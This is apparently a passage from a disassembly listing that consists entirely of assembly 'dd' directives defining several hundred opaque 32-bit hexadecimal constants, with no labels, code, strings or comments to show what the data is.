		dd 0DC3C8F4h, 209C4CD8h, 3F6FDC03h, 4ADE54C6h, 0DB50770Bh
		dd 7512E0BFh, 0F101D236h, 96431CE3h, 1B002F06h,	0D242C989h
		dd 5DB36BEBh, 0C40A3097h, 62FBA3A7h, 0BD8539C1h, 0A1C78D2Dh
		dd 0DF15EE0Bh, 0C6260E8Dh, 35C8CEA2h, 5C589EB1h, 33449BAEh
		dd 0FBA237C4h, 41A8ABBAh, 747BB0B9h, 7FEDA9DFh,	995A2808h
		dd 71268A8Bh, 72F31EEBh, 0BB55E27Eh, 8E902CBh, 0F0075123h
		dd 5113BFB6h, 0FADFC0D3h, 0A914E0F2h, 0B9733071h, 374E3E56h
		dd 638086A5h, 16E3622Ch, 387A8FD2h, 0AABA31D5h,	23984FB2h
		dd 536FD5DAh, 674FBC92h, 0D836B486h, 533EAFD5h,	0BA4C94D2h
		dd 0F06385E6h, 0BBD230Ch, 20F46C17h, 4C99BF4Eh,	0CE51C2EDh
		dd 4E06245h, 30142A19h,	5FBA4783h, 3BDE79h, 1A679F1Bh
		dd 581AB014h, 8B73511Eh, 0E430484h, 0DFC5CF3Ch,	567AEDAh
		dd 908AE0BCh, 98BE5F24h, 11CD20A4h, 11ADEC9Dh, 0C299B170h
		dd 30EA85A0h, 0A90D071Eh, 51C997A2h, 0AECAB212h, 976F3530h
		dd 404D9B83h, 861B3C09h, 0B18EC597h, 126E9146h,	6DF823CCh
		dd 63A07994h, 62706D40h, 8DB4B267h, 0CD317AEh, 0D20AD219h
		dd 24F1A19h, 93AB7DA1h,	40ED41A5h, 97B691Ah, 910AF062h
		dd 9B4E92F6h, 957F9FABh, 8C733CC2h, 9E1E8533h, 0A3377880h
		dd 218EA9F9h, 0CD3B929Bh, 0C7618E61h, 22BA0782h, 7D14936Ah
		dd 267163DAh, 0B5501CE8h, 0D9CC33B6h, 587058E7h, 2CEFF43Bh
		dd 0B997F265h, 4A8CD847h, 89C9021h, 0A288981Eh,	771134A3h
		dd 96F893A7h, 0EF18E794h, 40EF57ECh, 8D0506DDh,	79F70E87h
		dd 8B2F1598h, 0F1A6788Bh, 5D611F61h, 297FDD52h,	0C5711C70h
		dd 0ABB81BA3h, 0FE1BF1C0h, 6FAE1F1Ah, 0F0D476F0h, 70277F86h
		dd 0D30AE0BCh, 4FF6DC57h, 0FFAFFC6Fh, 0FC1515E9h, 0D94896ACh
		dd 0FF9BC640h, 2CA18E4Ah, 0E6F9DC04h, 0D6E21C34h, 35305F9Bh
		dd 1F577F95h, 0BE1F569Eh, 417874C9h, 440A1F45h,	952C8EE5h
		dd 0C5523615h, 5312D596h, 59C65D5Ch, 0D536A67Ah, 429014B1h
		dd 0D809A31Ch, 131442BEh, 0EED571B6h, 54A88EBEh, 23621307h
		dd 1A87F84Dh, 0A16E3969h, 0F93DBFFh, 0FA0E641Dh, 0E87F5DBFh
		dd 0FFD07328h, 0D3DDE3EDh, 197E41Fh, 59995C67h,	0E7B86F58h
		dd 0BC3AF3B0h, 0AAB2E482h, 3D0FB78Eh, 0D322C0D4h, 2F8EA2FFh
		dd 3713919Ch, 9BC8A758h, 0D9D9FA6Eh, 0F3B1BC0Fh, 0C8649621h
		dd 3FE8EB38h, 11F6BDC3h, 49C7AE22h, 0E8989FE4h,	7BED2142h
		dd 0DDD60079h, 379C4397h, 0F17332B8h, 0EDDD66DEh, 1A77F0B9h
		dd 0EB73995Ch, 4A6A9D66h, 0ED99BB9Ch, 0B79D4294h, 14924EEh
		dd 28736C7Ah, 34B80B09h, 0B50224E4h, 323EA236h,	559155DEh
		dd 6870FE97h, 7527FB7Ch, 0A42ABC83h, 0EA141621h, 82B3B1BCh
		dd 9FDFF9F8h, 0D791178Dh, 2484A2B6h, 0D49673EFh, 0A61E9A6Dh
		dd 0DD95A11Eh, 15BBB3FBh, 0C32BB067h, 0AEBE9653h, 897553E4h
		dd 1B752060h, 0A1AA25EFh, 0D6C53C2Fh, 0C27DB43Fh, 2D24FEBEh
		dd 9999F5E7h, 0EECDB1B8h, 0E6AF2359h, 0FD45F764h, 8D3EA9C9h
		dd 1A8837BCh, 0EAFB179h, 17BC7D25h, 9EF1F5FDh, 0E91D6CF4h
		dd 0CA5252D9h, 6E225A75h, 9012E91Dh, 0DFA82A26h, 779BAE6Dh
		dd 0AEE94032h, 0F62EB947h, 262F38Fh, 1F328FF6h,	6ED317FFh
		dd 9C4E344Bh, 607C7CA2h, 345D9505h, 59E0DEEEh, 0FA55D75Eh
		dd 0AD75DC69h, 0B7450D3Dh, 9A2B75A4h, 0A5DCC5B8h, 0BBAD1E65h
		dd 5374815Ch, 0FE633372h, 0F5DE6AF2h, 534B56D3h, 0F54C57EEh
		dd 329FB66Eh, 0F8B798DCh, 1D34F6D6h, 94D1341Bh,	27715A4Ah
		dd 4A2DED42h, 36B5284Ah
		dd 67FEE23Ah, 76C40FBDh, 95B6DA4Dh, 4759CB1h, 89C4DAB1h
		dd 0B2B6D9B5h, 5BC166CBh, 0F257179Bh, 0D7FAB4DAh, 8519D5A6h
		dd 0B97F78B4h, 1C2ADC54h, 2537C471h, 615B649Fh,	7EBBE72Ch
		dd 537C5D13h, 0C5176666h, 0A7D114BCh, 9C121866h, 0BDF24EF3h
		dd 4C0537C0h, 0D7336F2Bh, 80A67BCAh, 0E6DBBCADh, 2DC77D30h
		dd 4779CDE8h, 6526BDFFh, 50ACFBFBh, 0A673B48Dh,	0FEB1195Dh
		dd 1165929Ah, 0B6B1DF35h, 0C488CFACh, 0FD4A5F5Ah, 3EFB5EECh
		dd 0C86341DBh, 54C06A0h, 0ABADA472h, 8433E382h,	0FE0A4F02h
		dd 0AE9796DAh, 3E382AF0h, 0F73A3608h, 0A9BE62A6h, 0ED1A7A91h
		dd 3D3E159Eh, 3C7250C7h, 0CE34B686h, 639A8F12h,	95489C05h
		dd 5C8953C5h, 61CBF08Ah, 5FE2D018h, 1DFADA00h, 62FFFEC1h
		dd 0D5BC2DFBh, 40CF93EAh, 0BF3D2039h, 0F97EE8D8h, 7FFF713Dh
		dd 2E1B93E9h, 5884FA5Eh, 0F30C1B19h, 16F03A8Eh,	0BA76D3DAh
		dd 93D11EA0h, 2F5E6A86h, 0F68C80D2h, 0B1AF716Dh, 3037ABB3h
		dd 55D7B9F4h, 8E7AAC93h, 207DF57Bh, 26F99562h, 0EB2DBB0Bh
		dd 4FF4FEE7h, 1C536DECh, 8FAF55BBh, 0E81C4495h,	0D2D06EBBh
		dd 0C43F9C50h, 0CB957306h, 0A9E9AE61h, 12420711h, 0A0995BAAh
		dd 4B7B4A5Eh, 294181C4h, 744F3FD5h, 0F14A05BDh,	86778F3h
		dd 827F71B9h, 6AB0E04Bh, 14E3025Ch, 62BE0E41h, 6C28610Ch
		dd 77A7A70Fh, 510B9DA0h, 0FEAE3FDAh, 0F982E265h, 2D4BA0CEh
		dd 4F9DBA47h, 6D79F240h, 574EBEE8h, 94114E27h, 0D362604Ch
		dd 0D07A90ADh, 377C751Fh, 623CC121h, 0CFAAF1C4h, 43874164h
		dd 0D69EE12h, 1D5BEA70h, 8C688C6Fh, 0D4388CEEh,	182D0EC8h
		dd 4F8D7F67h, 34382405h, 184A86D7h, 1A46F93Fh, 2FF5993Eh
		dd 0B3A824E1h, 0D26D3D90h, 8810CB44h, 0D3869176h, 27A10A6h
		dd 7439A990h, 0D5087866h, 0A67CE76Ah, 0D75A9BA5h, 862F94FDh
		dd 35AB3203h, 9C34A2C5h, 3A4998C3h, 840531AAh, 770E9EF2h
		dd 3A8BF6AFh, 0BB3DDB34h, 31E80998h, 34674B76h,	53B49BD0h
		dd 2F98BE7Fh, 0EBE64461h, 0F5D1E687h, 0CD8E7648h, 0CEBD77Dh
		dd 565A2871h, 8A45FB8Eh, 8D3B7ED6h, 9733B789h, 9B5CBC86h
		dd 0F120EF4Ah, 94C17D12h, 0AAAD404Fh, 672E9FE3h, 4DA8ED64h
		dd 0C01C4637h, 40FE9B3h, 86DF37F1h, 0B7FBEA6Dh,	416D8BB0h
		dd 0A7C82647h, 0B9D0DD4Eh, 0FB6B2905h, 717DC1AEh, 5D318BBBh
		dd 5188CBB8h, 34DF3722h, 7784C452h, 0A5B6DC49h,	148AEFAh
		dd 4571B50Fh, 3099F30Fh, 0B686BB57h, 0FA0F4DBh,	0C40A03D0h
		dd 6C610C3Eh, 0FA071138h, 0DC5332D9h, 0EEB84327h, 0D35C66AEh
		dd 0E861454Fh, 17F7F2D1h, 5E2C3F8Ch, 0FD43E3CFh, 98A87CBAh
		dd 0D1D4887Fh, 5DCFB2E6h, 912D53E7h, 5DA387DEh,	9727E042h
		dd 36727C04h, 2C54E4FFh, 0D0CD5D31h, 0AD524434h, 0EAC5207Dh
		dd 0A0651B78h, 7F2D34Fh, 3994879Fh, 1EFB6304h, 0B84C4C93h
		dd 53EB82D4h, 0C097DBD5h, 4BFD5346h, 0AA7D15FFh, 0F69C95Eh
		dd 5E457AAEh, 6361383Bh, 8EAFCAE3h, 4DB48449h, 6A4936C3h
		dd 0F6D5A707h, 50FD314Dh, 0FDD723FEh, 861A56B3h, 8619D1A9h
		dd 62FA9CC7h, 0DED6164Dh, 0E0801487h, 0F770B6F1h, 6AF4981Fh
		dd 66AE6CF8h, 20250E98h, 731FCB57h, 0CAEE2484h,	54B4AEFEh
		dd 9ED74C52h, 753AED95h, 65D417F8h, 8FD1C615h, 4A569317h
		dd 77CC16AAh, 0AA0D2C44h, 76B5FE4Dh, 0E4B1C756h, 7B6E42ABh
		dd 0DC742D58h, 0FE4B1E34h, 1CC78855h, 0E7646771h, 19F5219Dh
		dd 0B8D86683h, 0D9773C66h, 89F79E37h, 11F8E83h,	31A0C0BBh
		dd 447E52C9h, 0D8410247h, 34074B57h, 4412E493h,	0BC07B14Ch
		dd 566E19F4h, 0E67D2F33h, 4BD0A16Ah, 0C19131F9h, 0F059F6DCh
		dd 0E410733Bh, 0F029B15Eh, 0A7A3FCC6h, 0AC657D90h, 0BD949D64h
		dd 0BE290123h, 11CBE271h, 0DA54F8AEh, 0A40083B5h, 88E39AE2h
		dd 0E525DCDBh, 20CA5F4Eh, 0D5FCF29Eh, 1D06521Eh, 49750771h
		dd 3297C4B9h, 0D03CA784h, 0BC4A53h, 0FA85510h, 0EEE37AC2h
		dd 3AE79C75h, 5C2160D1h, 4F078E76h, 1B0E8E37h, 2387473Dh
		dd 2ACBB7C9h, 0D1D8BC83h, 6B405921h, 521D1CBBh,	8223B6DAh
		dd 0C9B0E8E7h, 1D1D8B19h, 0C960BDB6h, 0E6169DF6h, 5BDFF8E4h
		dd 9A03D173h, 6A015C79h, 0DE65D5F1h, 4096E723h,	329CF15Eh
		dd 3B0772FEh, 0D128FB90h, 5A49C974h, 8589DC1Bh,	1C1D4D8Ch
		dd 0AC0FFDCh, 0BEABCF93h, 3A2290CFh, 6748DAC3h,	4D0E4E48h
		dd 0D0ED6CA9h, 5183E749h, 67F75D1Eh, 0D0CF6B0Dh, 0BA3EFE1h
		dd 0D9DA61D8h, 0F749FB7Ah, 7D696B63h, 4A985516h, 2D7335EDh
		dd 4ADFB73Fh, 3B29358Dh, 0B3ED4E9Bh, 0B2CBDAFDh, 6D7B7BB5h
		dd 5917B4F5h, 1DEBAAD8h, 4FEC0F1h, 8E77B03Fh, 3D209BC3h
		dd 1AFBD61Dh, 0C598AD94h, 0B23FD333h, 0D83002B3h, 0D33620DFh
		dd 0E4EF52C0h, 0E499A5DAh, 9880FCA5h, 0C19044ADh, 2470E755h
		dd 12E98703h, 755EB33Eh, 0C79E2B3Ch, 7FF8E667h,	0D91F968Eh
		dd 0DA2706D9h, 0D7DB3B2Ah, 13BE3956h, 672B6A54h, 0E5DD112Bh
		dd 0B55B79F3h, 3C4090Fh, 0BF6A716Ah, 0A478D63Bh, 4C0B6986h
		dd 22EB217Ch, 0D1228805h, 0BAF56A65h, 56671C18h, 711F595Fh
		dd 43FC290Fh, 42B86E6Bh, 46E2BD63h, 0E858BAC3h,	0A442846Ah
		dd 2BE15D7Fh, 1578FE85h, 3B9BD818h, 0BB8509A6h,	4A9D95D3h
		dd 0A82DBBh, 7498BE68h,	0F8AA49Bh, 79DAD0FDh, 87258FFDh
		dd 0AFF7E861h, 8A81079Dh, 728F98FEh, 66ABB48h, 0DC68030Eh
		dd 0AB94FA87h, 9C275292h, 3C3323A6h, 1BECEC59h,	0A3B92071h
		dd 40E23A3Dh, 3860AFC6h, 380C77B0h, 5711D50Ch, 7D509AC0h
		dd 95F00EE5h, 5F120BADh, 0FE72EB64h, 23B8E03Fh,	0D7EA4E83h
		dd 0E133FF86h, 901C771Fh, 2DFE39D1h, 0F5376761h, 461ADC73h
		dd 24C78B1Ch, 9476DF34h, 599FD5F7h, 95F41419h, 2D6C32FEh
		dd 1FD31DB0h, 904EB3C5h, 754B7C03h, 0FF71D31Ch,	447349E7h
		dd 0FA5D079h, 3C09EF02h, 0BFBA6CBFh, 8CE8D01Ah,	3B04A225h
		dd 0FA5C2694h, 10442441h, 11D75EEh, 0E2B9A239h,	6FC19918h
		dd 9D854FB5h, 62B3D304h, 5BCE29C2h, 0F47D6F6Dh,	0B56F37D6h
		dd 0BCEE380Ch, 63CC0970h, 310BC44h, 0BE978782h,	7CAB7E0Ah
		dd 56F10990h, 98479686h, 0FF457710h, 7011E369h,	0A44C5643h
		dd 42D823EAh, 0F4BF0B61h, 0EA96A5E1h, 0CD91A10Fh, 3BEE0EF5h
		dd 20F99DF0h, 0ABE57E78h, 0E739D29Fh, 0A68DA888h, 77063F3Eh
		dd 32909BE5h, 0B872D5D3h, 20DE9435h, 3ABCEFE1h,	0C30A6E86h
		dd 3FE86FDh, 7F509BC7h,	0FC7C4330h, 4B407DB5h, 0BF2BA0Eh
		dd 1680F669h, 4CCBD857h, 2E30F2F4h, 9F044E54h, 0FAB9FE0Fh
		dd 0C1924E87h, 8C75537Ch, 467E0AB4h, 0E8CE9842h, 0E62C999Bh
		dd 3140643Bh, 0EF5A06D6h, 0CE8F3957h, 4E87305Fh, 0E874A7B9h
		dd 0C85A1C5Bh, 3FAF7E84h, 9A15B8E3h, 4BC6BE6Dh,	0A1AF0B2h
		dd 0EAF033AFh, 0EDD3AF0Bh, 0C05FCF0Fh, 2AE53CCBh, 95F8C1D2h
		dd 0E0641D1Bh, 0D767E698h, 4EF684Ah, 656D30E6h,	2EA1D99Dh
		dd 5E62DD2Dh, 305B9E74h, 0CFABDF9Fh, 34B7CCC0h,	96E58808h
		dd 4A6D7260h, 4B2FE109h, 7154E087h, 8BB2A6Fh, 80DB881Ch
		dd 21299DFEh, 0B437E978h, 0D5044BFCh, 6B9059A9h, 7BD5C845h
		dd 8942C34Eh, 3BA4C6BFh, 4B28D69Fh, 0EE0FD705h,	4BF669BBh
		dd 11E1F521h, 0FDCDBD2Eh, 77291645h, 0CF1E52C0h, 0AAC8A4B6h
		dd 4F05A20Bh, 485F71C8h, 0A04C8175h, 775C29D7h,	955F5546h
		dd 948427D6h, 45A0B887h
		dd 80CA75CDh, 61F2F86h,	4820F2BFh, 0E245A528h, 821A0670h
		dd 93EC8457h, 0D92907B4h, 2A8B583h, 0B1B1B58Ah,	0D05CEFA9h
		dd 0AE4315B6h, 0E0B152D6h, 1640D555h, 0EBB47D61h, 0EE31370Dh
		dd 9714DB80h, 0CDFF7862h, 0ABF6CADh, 0B2DBB326h, 35299B18h
		dd 0EB5C2E01h, 0F53785A7h, 18EA27CDh, 5C96D783h, 0EB6FCC6Fh
		dd 0F541FF00h, 8A2918AAh, 523D2092h, 818F409Fh,	1AC6E0FCh
		dd 0F022F3ACh, 0F3EEC242h, 1AFF38B2h, 0F3CC4D6Fh, 619A275Ch
		dd 83EBA46Ah, 0A7EE3E8Ah, 3107B569h, 0F1F0E4C0h, 694E0DE7h
		dd 52EA1605h, 13AEA7D3h, 9DA5A8CEh, 0DDB3E7C1h,	0A4F7E1Fh
		dd 275DC369h, 6F957C0h,	74F1EDECh, 0A43FB923h, 0ACFD13B3h
		dd 251F5EAEh, 5AE3EF2Dh, 48C5978Fh, 0E62EF6DEh,	4C0B844Ah
		dd 646558CEh, 358CFF07h, 0B873FBE1h, 9D7059Eh, 121084F7h
		dd 11D76F6h, 0E0B854F7h, 7230279h, 2AFA7E45h, 0F55470CBh
		dd 0A45963Ah, 82129165h, 9CBF8F0Fh, 48E68D93h, 0A62303A0h
		dd 2E1C2F90h, 0CDFCFF0Dh, 6BE362DDh, 3C6BFC45h,	0B460C1E2h
		dd 762831E9h, 6B1A7480h, 8B15E844h, 5D9BD3A0h, 0C9DA5808h
		dd 1149E3B4h, 79C76E8Fh, 5E69311Bh, 3BF3E814h, 363AE899h
		dd 899E0816h, 0C36053AFh, 0D571276Bh, 897A063Eh, 9CEB2B09h
		dd 945FDDE7h, 0EC634D33h, 3BDBD70Ah, 0CF4103C4h, 9F9B1DBDh
		dd 0A02A475Fh, 71CE385h, 25B491DCh, 0C94C74F6h,	34C76F4Ch
		dd 0AE90CA49h, 0E0F1286Dh, 0D7F297FBh, 37F1A620h, 0EFC84514h
		dd 0A1B094F4h, 7BF10A81h, 70D915A8h, 521D96AEh,	70DA8541h
		dd 0A574B7E8h, 0E6698F85h, 3EA9EACFh, 4B2F43D2h, 36CCCCBFh
		dd 78BF173Ah, 0C2F09B18h, 1234413Dh, 6671B9F6h,	242A8D8Ah
		dd 0EAD9F6E2h, 63BA4E33h, 0C545493Bh, 61402A49h, 0D27A50F8h
		dd 0B4FB64E0h, 6A7341A5h, 0B445E04Eh, 29A622Dh,	331D8916h
		dd 0AC2B1FB4h, 7A7ADF24h, 4BBD81C8h, 50E9BE2Dh,	874B519Fh
		dd 0BF04A4DEh, 2FD6B929h, 0BB9B5ABFh, 88B58732h, 0C54239B7h
		dd 40196CA6h, 0F474C94Dh, 0ED4390FDh, 749DD9F9h, 5421D7FFh
		dd 0F8E78537h, 2AE1341Ah, 4BA0BE4Bh, 455D8A8Bh,	0FA9A0D7Ah
		dd 2EC507D2h, 0A4BBC1CCh, 0AABB83Fh, 3B82E569h,	6996E835h
		dd 12805F76h, 0E7575A6Ch, 232580E4h, 5D6EA625h,	948A5378h
		dd 4A68621Eh, 0F34BEC89h, 0BAA8BAFCh, 0EB75D175h, 82D38C64h
		dd 28D2F9C6h, 26426264h, 0EEBEBAB6h, 1BF8C217h,	422C6C12h
		dd 0B839E558h, 0A3633C61h, 23FCC61Dh, 5FF70A9Dh, 0F6590629h
		dd 614E4B31h, 0FA0505BCh, 76E873B9h, 7D7A8A7Eh,	54D6A1F6h
		dd 25287662h, 5163D6E6h, 26043450h, 0BE6BD9D1h,	99F10F9Bh
		dd 0E7762C23h, 0EE2C1DD0h, 69DC6F5Ah, 0D572E35Dh, 84C1ADA8h
		dd 0D6997D7Eh, 0A629578Fh, 0BE993DCDh, 92EFEBCAh, 0C4DC07F8h
		dd 1DF0D38Ah, 98517735h, 96C7730Fh, 51EE6205h, 8E96E86Ah
		dd 4BD7319Eh, 0A7AC587Dh, 0B3EA71CFh, 0ABE18CAEh, 7A7F23FBh
		dd 2F74C8F3h, 0F943775Ah, 0A1FBA6BBh, 0F94229FCh, 8B3C9D1Dh
		dd 0FE596880h, 3450CED1h, 367675B0h, 3C2AA19Ch,	0EAD7C38Dh
		dd 67854973h, 0B8B66619h, 8470764Fh, 0B16E4FA9h, 475EA611h
		dd 0C83E41Bh, 9AD9F6EFh, 7251F792h, 81A0CFF7h, 90137927h
		dd 8C00F3D2h, 82ED2D2Bh, 6F8AAC71h, 18CFF95Eh, 718BC677h
		dd 0C40368BCh, 458875A2h, 5A297453h, 1148BD25h,	345BCC3Fh
		dd 0FCF7006Ah, 0F5512Ch, 0E59B3BE5h, 2F9BCA7Bh,	0AE44E94Dh
		dd 52FD743Fh, 86C845FDh, 7FE369AFh, 287895F1h, 0A24D7A1Ch
		dd 73E1BE3Ah, 4F5E313h,	1C23B543h, 83E3FCCAh, 2D0644C1h
		dd 0B49E792h, 21F55049h, 0F4E93073h, 0A2D684CDh, 724FA868h
		dd 0C3D42F0Ch, 73BD3D83h, 0AF545426h, 0A6836C15h, 2DBB03A7h
		dd 50D1FFA2h, 8093FADAh, 0DA1A2390h, 0BF49A227h, 4CFBB664h
		dd 8B58791h, 5CECB4CFh,	3060A4CEh, 36231DEFh, 0ED56BC1Bh
		dd 956C1F7Eh, 617726B4h, 0EE6AE5FFh, 0F26FC21Ch, 0E1B2F142h
		dd 5D8BF760h, 274668C3h, 1C681146h, 617C41C1h, 9FF8C92Ah
		dd 0E47D9D24h, 3A57E535h, 14B2A847h, 0E3A131A7h, 49CF45C2h
		dd 90FAC7A4h, 0EFCEE24Bh, 9C8E0847h, 239A5177h,	42F4FEAEh
		dd 784669B9h, 0EC5D3D05h, 0F5C2D90Ah, 0D7AF3A99h, 72243643h
		dd 0D931C527h, 13DE3028h, 0F8272E28h, 0DF439FC7h, 0F2E24CECh
		dd 8AF1A32Eh, 37EE2623h, 0ED9B9176h, 6FDDB31Dh,	67C37BA5h
		dd 53E75B3Bh, 0A83AA792h, 0F216D570h, 0E76D425h, 0E514FC28h
		dd 0F9009F73h, 0D278D98h, 2322F9A5h, 45206BA4h,	65B68BC1h
		dd 965DF421h, 0D23FCEDh, 0C88EBDD7h, 0CF2235Fh,	0BDC0821Ah
		dd 6B7D4D73h, 3B65E983h, 89110968h, 0D247BABh, 0C7E175C0h
		dd 1EDA0870h, 0D3C31D0Dh, 0AC0DE15Dh, 8BFCB21h,	9D8DC86Ch
		dd 0B8495B2Bh, 6B26772Eh, 2148F3BBh, 5E910771h,	0A354360Bh
		dd 0ABB692DCh, 7D4DC184h, 514982ABh, 0F18B0788h, 124E11E0h
		dd 5B69C770h, 5D7ABC31h, 0E33E9B16h, 0C78CFA69h, 0BA74C539h
		dd 499D9DF2h, 1BBAE419h, 59818BA1h, 3CE7EECDh, 19FB9956h
		dd 0FDC4358Fh, 3233707h, 575CDA73h, 0DEBE20F8h,	7FDC0E9Fh
		dd 371077BBh, 3F554CDCh, 7C4BC7D7h, 91C55C4h, 253077ADh
		dd 843BD09Ah, 0B4328F7h, 28ACA337h, 0DA986F3Ch,	0B7F74894h
		dd 48207B97h, 0BF298B0Dh, 8D1F94EDh, 9327540Eh,	66101DCDh
		dd 1268B943h, 0DAB95F52h, 409DA549h, 0EBB33AE6h, 0E668F74Dh
		dd 11EEB93h, 0AD133333h, 0A3CEE215h, 36D9DDFBh,	3623F604h
		dd 45591C38h, 3B927710h, 0F13B3B6Dh, 35C9082h, 0C946C795h
		dd 0A5E4BCBEh, 4BFC7307h, 324A9EB2h, 83324A84h,	7E541CE1h
		dd 0EF3BCEBBh, 0EF3F78C2h, 30F2819Eh, 1D9C9BCFh, 9DE11B1Bh
		dd 0FEED54BBh, 0A59A8F26h, 0DCE32EB9h, 67D4E3C6h, 300C308Eh
		dd 5C0C44C6h, 2F0D98B9h, 83A57DC1h, 985122Ah, 0C40E8E2Ah
		dd 3FC26243h, 511657C1h, 0D3A8DE11h, 8E9613A4h,	24EEEF41h
		dd 922CAEDBh, 93AEC7EDh, 4BF418BEh, 0EB62D6D7h,	0F19A6CC1h
		dd 6C7A521h, 0DAF51B5Bh, 686E8F31h, 0AB00357Ah,	0C76E21EDh
		dd 1C0749Bh, 6E0B94AEh,	0A1EDAC1Bh, 5FCD882Eh, 2E8AD2C0h
		dd 2FA0EAFFh, 64BB2479h, 0FCD88849h, 0BE97B627h, 127EE223h
		dd 6DCDC442h, 6228891Bh, 0C39A19CBh, 9F4C4764h,	8E408C56h
		dd 0FD252103h, 38BF571Dh, 301E7DA0h, 0AE4862F9h, 71781C4h
		dd 7B5E1F2Fh, 849DD439h, 0F35727F3h, 11CBE4A6h,	4C5D4E07h
		dd 57D9E19Ah, 1BCED786h, 10792C78h, 6D41291Dh, 838C3CC9h
		dd 0C948EC81h, 0B3BBDE79h, 0E633A70Ch, 57F56E0Bh, 8A12AEE2h
		dd 75408EE0h, 7CF73622h, 6FC0396Bh, 0E60B96Bh, 1744BC71h
		dd 0BA37416Eh, 0F72E5005h, 39E85B6Bh, 0BB273624h, 0E130B61Bh
		dd 0E7EE91C7h, 0BE4D27B8h, 91E46578h, 9FDAEC35h, 0FA89895Dh
		dd 0B1B5E956h, 0C09837CCh, 69F25D46h, 0E837E4F7h, 4396958Dh
		dd 0ED924224h, 33B0E7D6h, 0EAC833FDh, 0B2F76C86h, 385E53DFh
		dd 26CCFF53h, 5DB3A11Eh, 7BB87B7Fh, 83E74906h, 6EE44ECFh
		dd 3DA10F72h, 0DD34F39Ch, 0A7E5F50h, 0C563F73Fh, 7492BEA4h
		dd 18A186BBh, 9D58873h,	857CA2C9h, 1DD0EBA3h, 314D1554h
		dd 0CD0E2B7Bh, 0F17EE61Ch, 2071D675h, 161D78C8h, 5EB2E1AFh
		dd 3D1F335Ah, 9DCA1EB4h, 0EE59ED64h, 0D5F7EEF7h, 62FDE8F9h
		dd 0EFDF0F9Dh, 775DE75Fh, 0E26754F5h, 748F640Fh, 0A8579F11h
		dd 0A87C0DDFh, 0FE65BBFBh
		dd 35767D65h, 2FB16B2Fh, 9E56F153h, 338E57E3h, 951D7DC2h
		dd 0FDD432B3h, 3CE249E3h, 43695975h, 20B8F684h,	0C45E5622h
		dd 6219A7E6h, 9FB88EADh, 65B8581Dh, 88890F6Dh, 44551E25h
		dd 7310BEA3h, 1CE39ED3h, 0EFD1030Bh, 41588E4Eh,	10783FEDh
		dd 7FFB7DABh, 0FC175887h, 9DE98B10h, 17DB6701h,	278B039Eh
		dd 39AB467Ah, 570A918Ch, 7F17D4D3h, 8BEBEA5Ah, 0F7BB27C9h
		dd 0C5F51E45h, 9B85F46Ah, 0FBB6E2FAh, 0BFA17D7Ch, 0CD0BEC4Fh
		dd 317DFE7Dh, 7DAF757Ch, 4F6AE7B1h, 0A968B17Dh,	598C5F7Fh
		dd 0B5A2FBC5h, 3E17D7DEh, 35A21D45h, 0EADD67DEh, 9B2632B3h
		dd 0C656B19Dh, 0EDA7DE95h, 0ADEC039Dh, 5DD4909Bh, 0BE1755E4h
		dd 0BC4D0B71h, 62C91EDh, 0ECE4DFB6h, 3C0E43ECh,	33216C49h
		dd 238BFCACh, 2E6F3B27h, 4F92C7A6h, 0E5B4ED2Eh,	642224EFh
		dd 0FC9483A3h, 1186E23Ah, 0C2638AEAh, 0B855D4F1h, 4BEABD8Dh
		dd 0D58457EDh, 0DD18FB85h, 259F25A0h, 0C6F70029h, 1EC7746Dh
		dd 0F687E6C5h, 36EEA99Bh, 86BB01DFh, 8A931AE9h,	0AD5E8157h
		dd 988A0B25h, 0EEB3E6EEh, 98C0FF07h, 0E369E255h, 7C201EC6h
		dd 160A3C48h, 9A5D89E5h, 9D352883h, 0A7EA6FCCh,	79CC8FAh
		dd 0E17CC1B4h, 772E6118h, 46579844h, 7727A46Ch,	0D304979Fh
		dd 0AF1D5580h, 1ED2437Eh, 0BA7F7CFAh, 48237DB1h, 0B694F6F5h
		dd 1138E9F7h, 0F4259Ch,	0AA6D2E0Eh, 0BFAD672Fh,	0DAA8B1D3h
		dd 0B531DE3Dh, 343D7DDAh, 3907BABAh, 0D88D4C6Eh, 35763BF8h
		dd 0F4C111DCh, 7B5389C4h, 531971F5h, 0A77F0DEDh, 6D27EBC3h
		dd 0B41B66ABh, 0EAC2E778h, 0ABEDF1E3h, 0CCE290C0h, 6AECFEAEh
		dd 0D51D57F5h, 0BC3683C7h, 0F6BE2B41h, 0F0A40DC5h, 0D3B3637Fh
		dd 3DB9A03Ch, 0C8BDDABBh, 18EA9291h, 0E01EED5Fh, 0E60218h
		dd 0B57CC728h, 86D379D1h, 0E51E02E3h, 0E619D76Ah, 8A46765Dh
		dd 0BE1B2B3Ch, 607304EAh, 41F818FBh, 0EDDBE24Dh, 6FFE3C23h
		dd 2803B8B0h, 0F1091BA1h, 0FA9BA995h, 6C448F19h, 0E7CB451Ch
		dd 0E77274DDh, 345E5624h, 340F9D38h, 13FCCE93h,	1DA3D96Bh
		dd 0DFC27D50h, 0B2BA85Eh, 0A90DCBAFh, 0DCBAA8Bh, 0AE8DCBADh
		dd 0B47A954Bh, 6EA29FDBh, 0BF09607Dh, 3491C466h, 5712006Eh
		dd 0D5214E72h, 9ABE9C45h, 111733D8h, 54748DF5h,	0F68039CBh
		dd 46D38EE1h, 44CE427Ch, 375E9E68h, 0E46AFABCh,	5FA421DAh
		dd 42B45DC3h, 0C07AF064h, 0BD53BB13h, 0CB5DDB2Fh, 0D49E2A56h
		dd 1C28C38Ch, 98470F32h, 0A3FB4A77h, 879D4650h,	0BD52F045h
		dd 3419D1FBh, 9C640EE1h, 0FC832144h, 189292F8h,	1EB1173Bh
		dd 0E79F13B9h, 142C5CECh, 3FE039F7h, 0F8FCD212h, 0BCA3DA8Fh
		dd 3D5B4A4Ch, 732E4A4Ch, 570DD45Fh, 51A043A6h, 78416EBEh
		dd 0BAD082DDh, 4416EB1Bh, 0FA974F57h, 0B9363831h, 3E30168Fh
		dd 5A856A37h, 295D97A7h, 922B35DAh, 0DE6B8704h,	670F48C6h
		dd 55EECCE7h, 0DCFAB178h, 694EE4B1h, 0E4A680FBh, 28E78C73h
		dd 0E8F13B9h, 9E3677A0h, 78BE0E72h, 6A19DE2Ch, 0FA48D3E8h
		dd 32AA427Bh, 696AB3Ah,	33995EBBh, 63F8C8E6h, 9E121EC4h
		dd 94D89CEAh, 1AA60A4Ch, 12DCA5DBh, 5B8FDEDFh, 0B290F0AAh
		dd 0FA1ABE23h, 0E7B8954Fh, 0AA8DE074h, 0F708C778h, 0DA3C87C8h
		dd 3C37DDD3h, 0C44A4C44h, 5D897260h, 1F6E5F65h,	0B2614C0Ah
